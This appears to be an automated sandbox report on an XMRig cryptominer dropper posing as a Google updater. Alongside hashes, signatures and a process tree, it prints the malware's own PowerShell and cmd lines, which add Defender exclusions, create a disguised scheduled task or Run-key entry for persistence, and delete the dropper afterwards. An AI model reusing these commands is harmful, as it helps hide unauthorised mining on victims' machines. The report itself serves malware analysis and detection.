xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1792s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 3676 created 3452	3676	Y2JYGshMHJGuGREA.exe	55
PID 3676 created 3452	3676	Y2JYGshMHJGuGREA.exe	55
PID 3676 created 3452	3676	Y2JYGshMHJGuGREA.exe	55
PID 3676 created 3452	3676	Y2JYGshMHJGuGREA.exe	55
PID 4968 created 3452	4968	updater.exe	55
PID 4968 created 3452	4968	updater.exe	55
PID 4968 created 3452	4968	updater.exe	55
PID 964 created 3452	964	conhost.exe	55
PID 4968 created 3452	4968	updater.exe	55

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral30/memory/1996-126-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-128-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-131-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-133-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-136-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-139-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-141-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-143-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-145-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-147-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-149-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-151-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-153-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-155-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-157-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-159-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-161-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-163-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-165-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-167-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-169-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-171-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-173-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-175-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-177-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-179-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-181-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-183-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-185-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig
behavioral30/memory/1996-187-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4968	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral30/memory/1996-119-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-126-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-128-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-131-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-133-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-136-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-139-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-141-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-143-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-145-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-147-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-149-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-151-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-153-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-155-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-157-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-159-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-161-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-163-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-165-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-167-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-169-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-171-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-173-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-175-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-177-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-179-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-181-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-183-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-185-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx
behavioral30/memory/1996-187-0x00007FF70C130000-0x00007FF70C924000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4968 set thread context of 964	4968	updater.exe	116
PID 4968 set thread context of 1996	4968	updater.exe	113

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Y2JYGshMHJGuGREA.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3820	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3676	Y2JYGshMHJGuGREA.exe
3676	Y2JYGshMHJGuGREA.exe
3824	powershell.exe
3824	powershell.exe
3676	Y2JYGshMHJGuGREA.exe
3676	Y2JYGshMHJGuGREA.exe
3552	powershell.exe
3552	powershell.exe
3676	Y2JYGshMHJGuGREA.exe
3676	Y2JYGshMHJGuGREA.exe
3676	Y2JYGshMHJGuGREA.exe
3676	Y2JYGshMHJGuGREA.exe
1144	powershell.exe
1144	powershell.exe
4968	updater.exe
4968	updater.exe
2136	powershell.exe
2136	powershell.exe
4968	updater.exe
4968	updater.exe
4156	powershell.exe
4156	powershell.exe
4968	updater.exe
4968	updater.exe
964	conhost.exe
964	conhost.exe
4968	updater.exe
4968	updater.exe
4968	updater.exe
4968	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe
Token: 36	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe
Token: 36	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	powershell.exe
Token: SeSecurityPrivilege	3552	powershell.exe
Token: SeTakeOwnershipPrivilege	3552	powershell.exe
Token: SeLoadDriverPrivilege	3552	powershell.exe
Token: SeSystemProfilePrivilege	3552	powershell.exe
Token: SeSystemtimePrivilege	3552	powershell.exe
Token: SeProfSingleProcessPrivilege	3552	powershell.exe
Token: SeIncBasePriorityPrivilege	3552	powershell.exe
Token: SeCreatePagefilePrivilege	3552	powershell.exe
Token: SeBackupPrivilege	3552	powershell.exe
Token: SeRestorePrivilege	3552	powershell.exe
Token: SeShutdownPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeSystemEnvironmentPrivilege	3552	powershell.exe
Token: SeRemoteShutdownPrivilege	3552	powershell.exe
Token: SeUndockPrivilege	3552	powershell.exe
Token: SeManageVolumePrivilege	3552	powershell.exe
Token: 33	3552	powershell.exe
Token: 34	3552	powershell.exe
Token: 35	3552	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 3760	3576	cmd.exe	99
PID 3576 wrote to memory of 3760	3576	cmd.exe	99
PID 1144 wrote to memory of 2396	1144	powershell.exe	103
PID 1144 wrote to memory of 2396	1144	powershell.exe	103
PID 4968 wrote to memory of 964	4968	updater.exe	116
PID 1404 wrote to memory of 3820	1404	cmd.exe	111
PID 1404 wrote to memory of 3820	1404	cmd.exe	111
PID 4968 wrote to memory of 1996	4968	updater.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3452
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4156
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3820
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2944
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:964

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3760

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.3MB
SHA256 61622f4652d0b3ef2c02f46285aa744cae692a66f170389f1ff56f90d483d9c1
MD5 1926dcdbbc6c3e6d9866290864b593b6
SHA1 d5ceeaa27bc7938b84063b5c2e4df95f9204f4a8
SHA512 32aff158e5e753cc8f16a1af60e3e88badc611f6058a78c83d8970cfd1432f4bbe1ff9f439ec48d0fff71c3afccdc9719eab8c24c07437337f5683bdc90673bd
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYz:rWVipAxqo5p88CbXuxWQiSJU320ZW21o
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 388KB
SHA256 f6f9e4f33ae76bbac970c68e72dfb97c1695e701b63f480b8681c58a398e1978
MD5 493142676b807aded6b43e627d815509
SHA1 b3d1029634665509b7438df548063d479fcfaa84
SHA512 2494c4ef6d15a1975b5fe98758bbf9ad265a980736ba57df40f3dd058a931ad7efc00ad68274eef145b309f48c0ef03ded57843642c1321f61a3bfc1700b2320
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTb:rWVipGdVZjdqVC5jd88FB
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
